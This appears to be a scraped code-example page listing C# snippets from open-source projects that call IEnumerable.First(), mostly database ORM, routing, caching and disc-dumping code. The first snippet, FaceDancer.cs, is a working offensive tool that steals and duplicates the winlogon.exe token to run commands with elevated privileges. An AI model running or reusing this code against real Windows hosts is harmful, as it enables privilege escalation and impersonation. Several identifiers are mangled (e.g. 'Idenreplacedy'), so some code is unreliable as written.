Here are the examples of the csharp api System.Collections.Generic.IEnumerable.First() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
9536 Examples
19
Source : FaceDancer.cs
with MIT License
from 001SPARTaN
with MIT License
from 001SPARTaN
static void Main(string[] args)
{
int procId;
string file;
if (args.Length < 2)
{
file = "whoami /priv";
if (args.Length == 0)
{
// If we don't have a process ID as an argument, find winlogon.exe
procId = Process.GetProcessesByName("winlogon").First().Id;
}
else if (args[0].Contains('.'))
{
procId = Process.GetProcessesByName("winlogon").First().Id;
if (args != null)
{
file = args[0];
}
}
else
{
procId = Convert.ToInt32(args[0]);
}
}
else
{
procId = Convert.ToInt32(args[0]);
file = args[1];
}
Console.WriteLine("Stealing token from PID " + procId);
IntPtr tokenHandle = IntPtr.Zero;
IntPtr dupHandle = IntPtr.Zero;
SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
Console.WriteLine("Process handle: True");
bool procToken = OpenProcessToken(procHandle.DangerousGetHandle(), (uint)TokenAccessLevels.MaximumAllowed, out tokenHandle);
Console.WriteLine("OpenProcessToken: " + procToken);
bool duplicateToken = DuplicateTokenEx(tokenHandle, (uint)TokenAccessLevels.MaximumAllowed, IntPtr.Zero,
(uint)TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out dupHandle);
Console.WriteLine("DuplicateTokenEx: " + duplicateToken);
WindowsIdenreplacedy ident = new WindowsIdenreplacedy(dupHandle);
Console.WriteLine("Impersonated user: " + ident.Name);
STARTUPINFO startInfo = new STARTUPINFO();
PipeSecurity sec = new PipeSecurity();
sec.SetAccessRule(new PipeAccessRule("NT AUTHORITY\\Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));
using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 4096, sec))
{
using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle))
{
// Set process to use anonymous pipe for input/output
startInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
startInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle();
startInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW;
// END NAME PIPE INITIALIZATION
PROCESS_INFORMATION newProc = new PROCESS_INFORMATION();
using (StreamReader reader = new StreamReader(pipeServer))
{
bool createProcess = CreateProcessWithTokenW(dupHandle, IntPtr.Zero, null, file, IntPtr.Zero, IntPtr.Zero, "C:\\Temp", ref startInfo, out newProc);
Process proc = Process.GetProcessById(newProc.dwProcessId);
while (!proc.HasExited)
{
Thread.Sleep(1000);
}
pipeClient.Close();
string output = reader.ReadToEnd();
Console.WriteLine("Started process with ID " + newProc.dwProcessId);
Console.WriteLine("CreateProcess return code: " + createProcess);
Console.WriteLine("Process output: " + output);
}
CloseHandle(tokenHandle);
CloseHandle(dupHandle);
}
}
}
19
Source : DbManager.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
private static IReadOnlyList<TableRef> SortTablesByForeignKeys(Dictionary<TableRef, Dictionary<ColumnRef, ColumnModel>> acc)
{
var tableGraph = new Dictionary<TableRef, int>();
var maxValue = 0;
foreach (var pair in acc)
{
CountTable(pair.Key, pair.Value, 1);
}
return acc
.Keys
.OrderByDescending(k => tableGraph.TryGetValue(k, out var value) ? value : maxValue)
.ThenBy(k => k)
.ToList();
void CountTable(TableRef table, Dictionary<ColumnRef, ColumnModel> columns, int value)
{
var parentTables = columns.Values
.Where(c => c.Fk != null)
.SelectMany(c => c.Fk!)
.Select(f => f.Table)
.Distinct()
.Where(pt => !pt.Equals(table))//Self ref
.ToList();
bool hasParents = false;
foreach (var parentTable in parentTables)
{
if (tableGraph.TryGetValue(parentTable, out int oldValue))
{
if (value >= 1000)
{
throw new SqExpressCodeGenException("Cycle in tables");
}
if (oldValue < value)
{
tableGraph[parentTable] = value;
}
}
else
{
tableGraph.Add(parentTable, value);
}
if (maxValue < value)
{
maxValue = value;
}
CountTable(parentTable, acc[parentTable], value + 1);
hasParents = true;
}
if (hasParents && !tableGraph.ContainsKey(columns.Keys.First().Table))
{
tableGraph.Add(table, 0);
}
}
}
19
Source : LoadBalancing.WeightedPolling.cs
with MIT License
from 1100100
with MIT License
from 1100100
public string NextConnectionString(IReadOnlyList<SlaveConfiguration> slaves)
{
if (slaves == null || !slaves.Any())
throw new ArgumentNullException(nameof(slaves));
if (slaves.Count == 1)
return slaves.First().ConnectionString;
lock (LockObject)
{
var index = -1;
var total = 0;
for (var i = 0; i < slaves.Count; i++)
{
slaves[i].Attach += slaves[i].Weight;
total += slaves[i].Weight;
if (index == -1 || slaves[index].Attach < slaves[i].Attach)
{
index = i;
}
}
slaves[index].Attach -= total;
return slaves[index].ConnectionString;
}
}
19
Source : Dumper.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public async Task DumpAsync(string output)
{
// check and create output folder
var dumpPath = output;
while (!string.IsNullOrEmpty(dumpPath) && !Directory.Exists(dumpPath))
{
var parent = Path.GetDirectoryName(dumpPath);
if (parent == null || parent == dumpPath)
dumpPath = null;
else
dumpPath = parent;
}
if (filesystemStructure is null)
(filesystemStructure, emptyDirStructure) = GetFilesystemStructure();
var validators = GetValidationInfo();
if (!string.IsNullOrEmpty(dumpPath))
{
var root = Path.GetPathRoot(Path.GetFullPath(output));
var drive = DriveInfo.GetDrives().FirstOrDefault(d => d?.RootDirectory.FullName.StartsWith(root) ?? false);
if (drive != null)
{
var spaceAvailable = drive.AvailableFreeSpace;
TotalFileSize = filesystemStructure.Sum(f => f.Length);
var diff = TotalFileSize + 100 * 1024 - spaceAvailable;
if (diff > 0)
Log.Warn($"Target drive might require {diff.replacedtorageUnit()} of additional free space");
}
}
foreach (var dir in emptyDirStructure)
Log.Trace($"Empty dir: {dir}");
foreach (var file in filesystemStructure)
Log.Trace($"0x{file.StartSector:x8}: {file.Filename} ({file.Length})");
var outputPathBase = Path.Combine(output, OutputDir);
if (!Directory.Exists(outputPathBase))
Directory.CreateDirectory(outputPathBase);
TotalFileCount = filesystemStructure.Count;
TotalSectors = discReader.TotalClusters;
Log.Debug("Using decryption key: " + allMatchingKeys.First().DecryptedKeyId);
var decryptionKey = allMatchingKeys.First().DecryptedKey;
var sectorSize = (int)discReader.ClusterSize;
var unprotectedRegions = driveStream.GetUnprotectedRegions();
ValidationStatus = true;
foreach (var dir in emptyDirStructure)
{
try
{
if (Cts.IsCancellationRequested)
return;
var convertedName = Path.DirectorySeparatorChar == '\\' ? dir : dir.Replace('\\', Path.DirectorySeparatorChar);
var outputName = Path.Combine(outputPathBase, convertedName);
if (!Directory.Exists(outputName))
{
Log.Debug("Creating empty directory " + outputName);
Directory.CreateDirectory(outputName);
}
}
catch (Exception ex)
{
Log.Error(ex);
BrokenFiles.Add((dir, "Unexpected error: " + ex.Message));
}
}
foreach (var file in filesystemStructure)
{
try
{
if (Cts.IsCancellationRequested)
return;
Log.Info($"Reading {file.Filename} ({file.Length.replacedtorageUnit()})");
CurrentFileNumber++;
var convertedFilename = Path.DirectorySeparatorChar == '\\' ? file.Filename : file.Filename.Replace('\\', Path.DirectorySeparatorChar);
var inputFilename = Path.Combine(input, convertedFilename);
if (!File.Exists(inputFilename))
{
Log.Error($"Missing {file.Filename}");
BrokenFiles.Add((file.Filename, "missing"));
continue;
}
var outputFilename = Path.Combine(outputPathBase, convertedFilename);
var fileDir = Path.GetDirectoryName(outputFilename);
if (!Directory.Exists(fileDir))
{
Log.Debug("Creating directory " + fileDir);
Directory.CreateDirectory(fileDir);
}
var error = false;
var expectedHashes = (
from v in validators
where v.Files.ContainsKey(file.Filename)
select v.Files[file.Filename].Hashes
).ToList();
var lastHash = "";
var tries = 2;
do
{
try
{
tries--;
using var outputStream = File.Open(outputFilename, FileMode.Create, FileAccess.Write, FileShare.Read);
using var inputStream = File.Open(inputFilename, FileMode.Open, FileAccess.Read, FileShare.Read);
using var decrypter = new Decrypter(inputStream, driveStream, decryptionKey, file.StartSector, sectorSize, unprotectedRegions);
Decrypter = decrypter;
await decrypter.CopyToAsync(outputStream, 8 * 1024 * 1024, Cts.Token).ConfigureAwait(false);
outputStream.Flush();
var resultHashes = decrypter.GetHashes();
var resultMd5 = resultHashes["MD5"];
if (decrypter.WasEncrypted && decrypter.WasUnprotected)
Log.Debug("Partially decrypted " + file.Filename);
else if (decrypter.WasEncrypted)
Log.Debug("Decrypted " + file.Filename);
if (!expectedHashes.Any())
{
if (ValidationStatus == true)
ValidationStatus = null;
}
else if (!IsMatch(resultHashes, expectedHashes))
{
error = true;
var msg = "Unexpected hash: " + resultMd5;
if (resultMd5 == lastHash || decrypter.LastBlockCorrupted)
{
Log.Error(msg);
BrokenFiles.Add((file.Filename, "corrupted"));
break;
}
Log.Warn(msg + ", retrying");
}
lastHash = resultMd5;
}
catch (Exception e)
{
Log.Error(e, e.Message);
error = true;
}
} while (error && tries > 0 && !Cts.IsCancellationRequested);
}
catch (Exception ex)
{
Log.Error(ex);
BrokenFiles.Add((file.Filename, "Unexpected error: " + ex.Message));
}
}
Log.Info("Completed");
}
19
Source : Dumper.cs
with MIT License
from 13xforever
with MIT License
from 13xforever
public async Task FindDiscKeyAsync(string discKeyCachePath)
{
// reload disc keys
try
{
foreach (var keyProvider in DiscKeyProviders)
{
Log.Trace($"Getting keys from {keyProvider.GetType().Name}...");
var newKeys = await keyProvider.EnumerateAsync(discKeyCachePath, ProductCode, Cts.Token).ConfigureAwait(false);
Log.Trace($"Got {newKeys.Count} keys");
lock (AllKnownDiscKeys)
{
foreach (var keyInfo in newKeys)
{
try
{
if (!AllKnownDiscKeys.TryGetValue(keyInfo.DecryptedKeyId, out var duplicates))
AllKnownDiscKeys[keyInfo.DecryptedKeyId] = duplicates = new HashSet<DiscKeyInfo>();
duplicates.Add(keyInfo);
}
catch (Exception e)
{
Log.Error(e);
}
}
}
}
}
catch (Exception ex)
{
Log.Error(ex, "Failed to load disc keys");
}
// check if user provided something new since the last attempt
var untestedKeys = new HashSet<string>();
lock (AllKnownDiscKeys)
untestedKeys.UnionWith(AllKnownDiscKeys.Keys);
untestedKeys.ExceptWith(TestedDiscKeys);
if (untestedKeys.Count == 0)
throw new KeyNotFoundException("No valid disc decryption key was found");
// select physical device
string physicalDevice = null;
List<string> physicalDrives = new List<string>();
Log.Trace("Trying to enumerate physical drives...");
try
{
if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
physicalDrives = EnumeratePhysicalDrivesWindows();
else if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux))
physicalDrives = EnumeratePhysicalDrivesLinux();
else
throw new NotImplementedException("Current OS is not supported");
}
catch (Exception e)
{
Log.Error(e);
throw;
}
Log.Debug($"Found {physicalDrives.Count} physical drives");
if (physicalDrives.Count == 0)
throw new InvalidOperationException("No optical drives were found");
foreach (var drive in physicalDrives)
{
try
{
Log.Trace($"Checking physical drive {drive}...");
using var discStream = File.Open(drive, FileMode.Open, FileAccess.Read, FileShare.Read);
var tmpDiscReader = new CDReader(discStream, true, true);
if (tmpDiscReader.FileExists("PS3_DISC.SFB"))
{
Log.Trace("Found PS3_DISC.SFB, getting sector data...");
var discSfbInfo = tmpDiscReader.GetFileInfo("PS3_DISC.SFB");
if (discSfbInfo.Length == discSfbData.Length)
{
var buf = new byte[discSfbData.Length];
var sector = tmpDiscReader.PathToClusters(discSfbInfo.FullName).First().Offset;
Log.Trace($"PS3_DISC.SFB sector number is {sector}, reading content...");
discStream.Seek(sector * tmpDiscReader.ClusterSize, SeekOrigin.Begin);
discStream.ReadExact(buf, 0, buf.Length);
if (buf.SequenceEqual(discSfbData))
{
physicalDevice = drive;
break;
}
Log.Trace("SFB content check failed, skipping the drive");
}
}
}
catch (Exception e)
{
Log.Debug($"Skipping drive {drive}: {e.Message}");
}
}
if (physicalDevice == null)
throw new AccessViolationException("Couldn't get physical access to the drive");
Log.Debug($"Selected physical drive {physicalDevice}");
driveStream = File.Open(physicalDevice, FileMode.Open, FileAccess.Read, FileShare.Read);
// find disc license file
discReader = new CDReader(driveStream, true, true);
FileRecord detectionRecord = null;
byte[] expectedBytes = null;
try
{
foreach (var path in Detectors.Keys)
if (discReader.FileExists(path))
{
var clusterRange = discReader.PathToClusters(path);
detectionRecord = new FileRecord(path, clusterRange.Min(r => r.Offset), discReader.GetFileLength(path));
expectedBytes = Detectors[path];
if (detectionRecord.Length == 0)
continue;
Log.Debug($"Using {path} for disc key detection");
break;
}
}
catch (Exception e)
{
Log.Error(e);
}
if (detectionRecord == null)
throw new FileNotFoundException("Couldn't find a single disc key detection file, please report");
if (Cts.IsCancellationRequested)
return;
SectorSize = discReader.ClusterSize;
// select decryption key
driveStream.Seek(detectionRecord.StartSector * discReader.ClusterSize, SeekOrigin.Begin);
detectionSector = new byte[discReader.ClusterSize];
detectionBytesExpected = expectedBytes;
sectorIV = Decrypter.GetSectorIV(detectionRecord.StartSector);
Log.Debug($"Initialized {nameof(sectorIV)} ({sectorIV?.Length * 8} bit) for sector {detectionRecord.StartSector}: {sectorIV?.ToHexString()}");
driveStream.ReadExact(detectionSector, 0, detectionSector.Length);
string discKey = null;
try
{
discKey = untestedKeys.AsParallel().FirstOrDefault(k => !Cts.IsCancellationRequested && IsValidDiscKey(k));
}
catch (Exception e)
{
Log.Error(e);
}
if (discKey == null)
throw new KeyNotFoundException("No valid disc decryption key was found");
if (Cts.IsCancellationRequested)
return;
lock (AllKnownDiscKeys)
AllKnownDiscKeys.TryGetValue(discKey, out allMatchingKeys);
var discKeyInfo = allMatchingKeys?.First();
DiscKeyFilename = Path.GetFileName(discKeyInfo?.FullPath);
DiscKeyType = discKeyInfo?.KeyType ?? default;
}
19
Source : DbQuery.cs
with Apache License 2.0
from 1448376744
with Apache License 2.0
from 1448376744
private string ResolveWhere()
{
var builder = new StringBuilder();
foreach (var expression in _whereExpressions)
{
var result = new BooleanExpressionResovle(expression, _parameters).Resovle();
if (expression == _whereExpressions.First())
{
builder.Append($" WHERE {result}");
}
else
{
builder.Append($" AND {result}");
}
}
return builder.ToString();
}
19
Source : DbQuery.cs
with Apache License 2.0
from 1448376744
with Apache License 2.0
from 1448376744
private string ResolveHaving()
{
var buffer = new StringBuilder();
foreach (var item in _havingExpressions)
{
var result = new BooleanExpressionResovle(item, _parameters).Resovle();
if (item == _havingExpressions.First())
{
buffer.Append($" HAVING {result}");
}
else
{
buffer.Append($" AND {result}");
}
}
return buffer.ToString();
}
19
Source : DbQuery.cs
with Apache License 2.0
from 1448376744
with Apache License 2.0
from 1448376744
private string ResolveOrder()
{
var buffer = new StringBuilder();
foreach (var item in _orderExpressions)
{
if (item == _orderExpressions.First())
{
buffer.Append($" ORDER BY ");
}
var result = new OrderExpressionResovle(item.Expression, item.Asc).Resovle();
buffer.Append(result);
buffer.Append(",");
}
return buffer.ToString().Trim(',');
}
19
Source : EntityMapperProvider.cs
with Apache License 2.0
from 1448376744
with Apache License 2.0
from 1448376744
private Func<IDataRecord, T> CreateTypeSerializerHandler<T>(MemberMapper mapper, IDataRecord record)
{
var type = typeof(T);
var methodName = $"Serializer{Guid.NewGuid():N}";
var dynamicMethod = new DynamicMethod(methodName, type, new Type[] { typeof(IDataRecord) }, type, true);
var generator = dynamicMethod.GetILGenerator();
LocalBuilder local = generator.DeclareLocal(type);
var dataInfos = new DataReaderCellInfo[record.FieldCount];
for (int i = 0; i < record.FieldCount; i++)
{
var dataname = record.GetName(i);
var datatype = record.GetFieldType(i);
var typename = record.GetDataTypeName(i);
dataInfos[i] = new DataReaderCellInfo(i, typename, datatype, dataname);
}
if (dataInfos.Length == 1 && (type.IsValueType || type == typeof(string) || type == typeof(object)))
{
var dataInfo = dataInfos.First();
var convertMethod = mapper.FindConvertMethod(type, dataInfo.DataType);
generator.Emit(OpCodes.Ldarg_0);
generator.Emit(OpCodes.Ldc_I4, 0);
if (convertMethod.IsVirtual)
generator.Emit(OpCodes.Callvirt, convertMethod);
else
generator.Emit(OpCodes.Call, convertMethod);
if (type == typeof(object) && convertMethod.ReturnType.IsValueType)
{
generator.Emit(OpCodes.Box, convertMethod.ReturnType);
}
generator.Emit(OpCodes.Stloc, local);
generator.Emit(OpCodes.Ldloc, local);
generator.Emit(OpCodes.Ret);
return dynamicMethod.CreateDelegate(typeof(Func<IDataRecord, T>)) as Func<IDataRecord, T>;
}
var constructor = mapper.FindConstructor(type);
if (constructor.GetParameters().Length > 0)
{
var parameters = constructor.GetParameters();
var locals = new LocalBuilder[parameters.Length];
for (int i = 0; i < locals.Length; i++)
{
locals[i] = generator.DeclareLocal(parameters[i].ParameterType);
}
for (int i = 0; i < locals.Length; i++)
{
var item = mapper.FindConstructorParameter(dataInfos, parameters[i]);
if (item == null)
{
continue;
}
var convertMethod = mapper.FindConvertMethod(parameters[i].ParameterType, item.DataType);
generator.Emit(OpCodes.Ldarg_0);
generator.Emit(OpCodes.Ldc_I4, item.Ordinal);
if (convertMethod.IsVirtual)
generator.Emit(OpCodes.Callvirt, convertMethod);
else
generator.Emit(OpCodes.Call, convertMethod);
generator.Emit(OpCodes.Stloc, locals[i]);
}
for (int i = 0; i < locals.Length; i++)
{
generator.Emit(OpCodes.Ldloc, locals[i]);
}
generator.Emit(OpCodes.Newobj, constructor);
generator.Emit(OpCodes.Stloc, local);
generator.Emit(OpCodes.Ldloc, local);
generator.Emit(OpCodes.Ret);
return dynamicMethod.CreateDelegate(typeof(Func<IDataRecord, T>)) as Func<IDataRecord, T>;
}
else
{
var properties = type.GetProperties();
generator.Emit(OpCodes.Newobj, constructor);
generator.Emit(OpCodes.Stloc, local);
foreach (var item in dataInfos)
{
var property = mapper.FindMember(properties, item) as PropertyInfo;
if (property == null)
{
continue;
}
var convertMethod = mapper.FindConvertMethod(property.PropertyType, item.DataType);
if (convertMethod == null)
{
continue;
}
int i = record.GetOrdinal(item.DataName);
generator.Emit(OpCodes.Ldloc, local);
generator.Emit(OpCodes.Ldarg_0);
generator.Emit(OpCodes.Ldc_I4, i);
if (convertMethod.IsVirtual)
generator.Emit(OpCodes.Callvirt, convertMethod);
else
generator.Emit(OpCodes.Call, convertMethod);
generator.Emit(OpCodes.Callvirt, property.GetSetMethod());
}
generator.Emit(OpCodes.Ldloc, local);
generator.Emit(OpCodes.Ret);
return dynamicMethod.CreateDelegate(typeof(Func<IDataRecord, T>)) as Func<IDataRecord, T>;
}
}
19
Source : DbQuery.cs
with Apache License 2.0
from 1448376744
with Apache License 2.0
from 1448376744
private string ResolveGet()
{
var table = GetTableMetaInfo().TableName;
var columns = GetColumnMetaInfos();
var column = ResovleColumns();
var where = $" WHERE {columns.Where(a => a.IsPrimaryKey == true).First().ColumnName}=@id";
string sql;
if (_context.DbContextType == DbContextType.SqlServer)
{
sql = $"SELECT TOP 1 {column} FROM {table}{where}";
}
else
{
sql = $"SELECT {column} FROM {table}{where} LIMIT 0,1";
}
return sql;
}
19
Source : DbQuery.cs
with Apache License 2.0
from 1448376744
with Apache License 2.0
from 1448376744
private string ResolveUpdate()
{
var table = GetTableMetaInfo().TableName;
var builder = new StringBuilder();
if (_setExpressions.Count > 0)
{
var where = ResolveWhere();
foreach (var item in _setExpressions)
{
var column = new BooleanExpressionResovle(item.Column).Resovle();
var expression = new BooleanExpressionResovle(item.Expression, _parameters).Resovle();
builder.Append($"{column} = {expression},");
}
var sql = $"UPDATE {table} SET {builder.ToString().Trim(',')}{where}";
return sql;
}
else
{
var filters = new GroupExpressionResovle(_filterExpression).Resovle().Split(',');
var where = ResolveWhere();
var columns = GetColumnMetaInfos();
var updcolumns = columns
.Where(a => !filters.Contains(a.ColumnName))
.Where(a => !a.IsComplexType)
.Where(a => !a.IsIdenreplacedy && !a.IsPrimaryKey && !a.IsNotMapped)
.Where(a => !a.IsConcurrencyCheck)
.Select(s => $"{s.ColumnName} = @{s.CsharpName}");
if (string.IsNullOrEmpty(where))
{
var primaryKey = columns.Where(a => a.IsPrimaryKey).FirstOrDefault()
?? columns.First();
where = $" WHERE {primaryKey.ColumnName} = @{primaryKey.CsharpName}";
if (columns.Exists(a => a.IsConcurrencyCheck))
{
var checkColumn = columns.Where(a => a.IsConcurrencyCheck).FirstOrDefault();
where += $" AND {checkColumn.ColumnName} = @{checkColumn.CsharpName}";
}
}
var sql = $"UPDATE {table} SET {string.Join(",", updcolumns)}";
if (columns.Exists(a => a.IsConcurrencyCheck))
{
var checkColumn = columns.Where(a => a.IsConcurrencyCheck).FirstOrDefault();
sql += $",{checkColumn.ColumnName} = @New{checkColumn.CsharpName}";
if (checkColumn.CsharpType.IsValueType)
{
var version = Convert.ToInt32((DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, 0)).TotalSeconds);
_parameters.Add($"New{checkColumn.CsharpName}", version);
}
else
{
var version = Guid.NewGuid().ToString("N");
_parameters.Add($"New{checkColumn.CsharpName}", version);
}
}
sql += where;
return sql;
}
}
19
Source : GeneratorClass.cs
with MIT License
from 188867052
with MIT License
from 188867052
private static StringBuilder GenerateClreplaced(IGrouping<string, RouteInfo> group, bool isLast)
{
string clreplacedFullName = $"{group.First().Namespace}.{group.First().ControllerName}Controller";
string crefNamespace = GetCrefNamespace(clreplacedFullName, GetConvertedNamespace(group.First().Namespace));
StringBuilder sb = new StringBuilder();
sb.AppendLine($" /// <summary>");
sb.AppendLine($" /// <see cref=\"{crefNamespace}\"/>");
sb.AppendLine($" /// </summary>");
sb.AppendLine($" public clreplaced {group.Key}Route");
sb.AppendLine(" {");
for (int i = 0; i < group.Count(); i++)
{
var item = group.ElementAt(i);
var renamedAction = RenameOverloadedAction(group, i);
sb.AppendLine(" /// <summary>");
sb.AppendLine($" /// <see cref=\"{crefNamespace}.{item.ActionName}\"/>");
sb.AppendLine(" /// </summary>");
sb.AppendLine($" public const string {renamedAction} = \"{item.Path}\";");
if (i != group.Count() - 1)
{
sb.AppendLine();
}
}
sb.AppendLine(" }");
if (!isLast)
{
sb.AppendLine();
}
return sb;
}
19
Source : StringExtensions.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
public static string FirstCharToLower(this string s)
{
if (string.IsNullOrEmpty(s))
return s;
string str = s.First().ToString().ToLower() + s.Substring(1);
return str;
}
19
Source : StringExtensions.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
public static string FirstCharToUpper(this string s)
{
if (string.IsNullOrEmpty(s))
return s;
string str = s.First().ToString().ToUpper() + s.Substring(1);
return str;
}
19
Source : RouteGenerator.cs
with MIT License
from 188867052
with MIT License
from 188867052
private static StringBuilder GenerateClreplaced(IGrouping<string, RouteInfo> group, bool isLast)
{
string clreplacedFullName = $"{group.First().Namespace}.{group.First().ControllerName}Controller";
string crefNamespace = GetCrefNamespace(clreplacedFullName, GetConvertedNamespace(group.First().Namespace));
StringBuilder sb = new StringBuilder();
sb.AppendLine($" /// <summary>");
sb.AppendLine($" /// <see cref=\"{crefNamespace}\"/>");
sb.AppendLine($" /// </summary>");
sb.AppendLine($" public clreplaced {group.Key}Route");
sb.AppendLine(" {");
for (int i = 0; i < group.Count(); i++)
{
var item = group.ElementAt(i);
var renamedAction = RenameOverloadedAction(group, i);
sb.AppendLine(" /// <summary>");
sb.AppendLine($" /// <see cref=\"{crefNamespace}.{item.ActionName}\"/>");
sb.AppendLine(" /// </summary>");
sb.AppendLine($" public const string {renamedAction} = \"{item.Path}\";");
if (config != null && config.GenerateMethod)
{
sb.AppendLine($" public static async Task<T> {item.ActionName}Async<T>({GeneraParameters(item.Parameters, true, false)})");
sb.AppendLine(" {");
sb.AppendLine($" var routeInfo = new {nameof(RouteInfo)}");
sb.AppendLine(" {");
sb.AppendLine($" {nameof(RouteInfo.HttpMethods)} = \"{item.HttpMethods}\",");
sb.AppendLine($" {nameof(RouteInfo.Path)} = {renamedAction},");
sb.Append(GenerateParameters(item.Parameters));
sb.AppendLine(" };");
sb.AppendLine($" return await {nameof(HttpClientAsync)}.{nameof(HttpClientAsync.Async)}<T>(routeInfo{GeneraParameters(item.Parameters, false, true)});");
sb.AppendLine(" }");
}
if (i != group.Count() - 1)
{
sb.AppendLine();
}
}
sb.AppendLine(" }");
if (!isLast)
{
sb.AppendLine();
}
return sb;
}
19
Source : Streams.cs
with MIT License
from 2881099
with MIT License
from 2881099
public StreamsEntry XReadGroup(string group, string consumer, long block, string key, string id) => XReadGroup(group, consumer, 1, block, false, key, id)?.FirstOrDefault()?.entries?.First();
19
Source : ClientSideCaching.cs
with MIT License
from 2881099
with MIT License
from 2881099
void SetCacheValue(string command, string key, Type valueType, object value)
{
_dict.GetOrAdd(key, keyTmp =>
{
var time = GetTime();
if (_options.Capacity > 0)
{
string removeKey = null;
lock (_dictLock)
{
if (_dictSort.Count >= _options.Capacity) removeKey = _dictSort.First().Substring(16);
_dictSort.Add($"{time.ToString("X").PadLeft(16, '0')}{key}");
}
if (removeKey != null)
RemoveCache(removeKey);
}
return new DictValue(command, time);
}).Values
.AddOrUpdate(valueType, new DictValue.ObjectValue(value), (oldkey, oldval) => new DictValue.ObjectValue(value));
}
19
Source : DbSet.cs
with MIT License
from 2881099
with MIT License
from 2881099
public void AttachRange(IEnumerable<TEnreplacedy> data) {
if (data == null || data.Any() == false) return;
if (_table.Primarys.Any() == false) throw new Exception($"不可附加,实体没有主键:{_fsql.GetEnreplacedyString(_enreplacedyType, data.First())}");
foreach (var item in data) {
var key = _fsql.GetEnreplacedyKeyString(_enreplacedyType, item, false);
if (string.IsNullOrEmpty(key)) throw new Exception($"不可附加,未设置主键的值:{_fsql.GetEnreplacedyString(_enreplacedyType, item)}");
_states.AddOrUpdate(key, k => CreateEnreplacedyState(item), (k, ov) => {
_fsql.MapEnreplacedyValue(_enreplacedyType, item, ov.Value);
ov.Time = DateTime.Now;
return ov;
});
}
}
19
Source : DbSetSync.cs
with MIT License
from 2881099
with MIT License
from 2881099
public void AddRange(IEnumerable<TEnreplacedy> data) {
if (CanAdd(data, true) == false) return;
if (data.ElementAtOrDefault(1) == default(TEnreplacedy)) {
Add(data.First());
return;
}
if (_tableIdenreplacedys.Length > 0) {
//有自增,马上执行
switch (_fsql.Ado.DataType) {
case DataType.SqlServer:
case DataType.PostgreSQL:
DbContextExecCommand();
var rets = this.OrmInsert(data).ExecuteInserted();
if (rets.Count != data.Count()) throw new Exception($"特别错误:批量添加失败,{_fsql.Ado.DataType} 的返回数据,与添加的数目不匹配");
var idx = 0;
foreach (var s in data)
_fsql.MapEnreplacedyValue(_enreplacedyType, rets[idx++], s);
IncrAffrows(rets.Count);
AttachRange(rets);
if (_ctx.Options.EnableAddOrUpdateNavigateList)
foreach (var item in data)
AddOrUpdateNavigateList(item);
return;
case DataType.MySql:
case DataType.Oracle:
case DataType.Sqlite:
foreach (var s in data)
AddPriv(s, false);
return;
}
} else {
//进入队列,等待 SaveChanges 时执行
foreach (var item in data)
EnqueueToDbContext(DbContext.ExecCommandInfoType.Insert, CreateEnreplacedyState(item));
AttachRange(data);
if (_ctx.Options.EnableAddOrUpdateNavigateList)
foreach (var item in data)
AddOrUpdateNavigateList(item);
}
}
19
Source : Program.cs
with MIT License
from 2881099
with MIT License
from 2881099
static void Insert(StringBuilder sb, int forTime, int size) {
var songs = Enumerable.Range(0, size).Select(a => new Song {
Create_time = DateTime.Now,
Is_deleted = false,
replacedle = $"Insert_{a}",
Url = $"Url_{a}"
});
//预热
fsql.Insert(songs.First()).ExecuteAffrows();
sugar.Insertable(songs.First()).ExecuteCommand();
using (var db = new SongContext()) {
//db.Configuration.AutoDetectChangesEnabled = false;
db.Songs.AddRange(songs.First());
db.SaveChanges();
}
Stopwatch sw = new Stopwatch();
sw.Restart();
for (var a = 0; a < forTime; a++) {
fsql.Insert(songs).ExecuteAffrows();
}
sw.Stop();
sb.AppendLine($"FreeSql Insert {size}条数据,循环{forTime}次,耗时{sw.ElapsedMilliseconds}ms");
sw.Restart();
for (var a = 0; a < forTime; a++) {
using (var db = new FreeSongContext()) {
db.Songs.AddRange(songs.ToArray());
db.SaveChanges();
}
}
sw.Stop();
sb.AppendLine($"FreeSql.DbContext Insert {size}条数据,循环{forTime}次,耗时{sw.ElapsedMilliseconds}ms");
sw.Restart();
Exception sugarEx = null;
try {
for (var a = 0; a < forTime; a++)
sugar.Insertable(songs.ToArray()).ExecuteCommand();
} catch (Exception ex) {
sugarEx = ex;
}
sw.Stop();
sb.AppendLine($"SqlSugar Insert {size}条数据,循环{forTime}次,耗时{sw.ElapsedMilliseconds}ms" + (sugarEx != null ? $"成绩无效,错误:{sugarEx.Message}" : ""));
sw.Restart();
for (var a = 0; a < forTime; a++) {
using (var db = new SongContext()) {
//db.Configuration.AutoDetectChangesEnabled = false;
db.Songs.AddRange(songs.ToArray());
db.SaveChanges();
}
}
sw.Stop();
sb.AppendLine($"EFCore Insert {size}条数据,循环{forTime}次,耗时{sw.ElapsedMilliseconds}ms\r\n");
}
19
Source : DbSetAsync.cs
with MIT License
from 2881099
with MIT License
from 2881099
async public Task AddRangeAsync(IEnumerable<TEnreplacedy> data) {
if (CanAdd(data, true) == false) return;
if (data.ElementAtOrDefault(1) == default(TEnreplacedy)) {
await AddAsync(data.First());
return;
}
if (_tableIdenreplacedys.Length > 0) {
//有自增,马上执行
switch (_fsql.Ado.DataType) {
case DataType.SqlServer:
case DataType.PostgreSQL:
await DbContextExecCommandAsync();
var rets = await this.OrmInsert(data).ExecuteInsertedAsync();
if (rets.Count != data.Count()) throw new Exception($"特别错误:批量添加失败,{_fsql.Ado.DataType} 的返回数据,与添加的数目不匹配");
var idx = 0;
foreach (var s in data)
_fsql.MapEnreplacedyValue(_enreplacedyType, rets[idx++], s);
IncrAffrows(rets.Count);
AttachRange(rets);
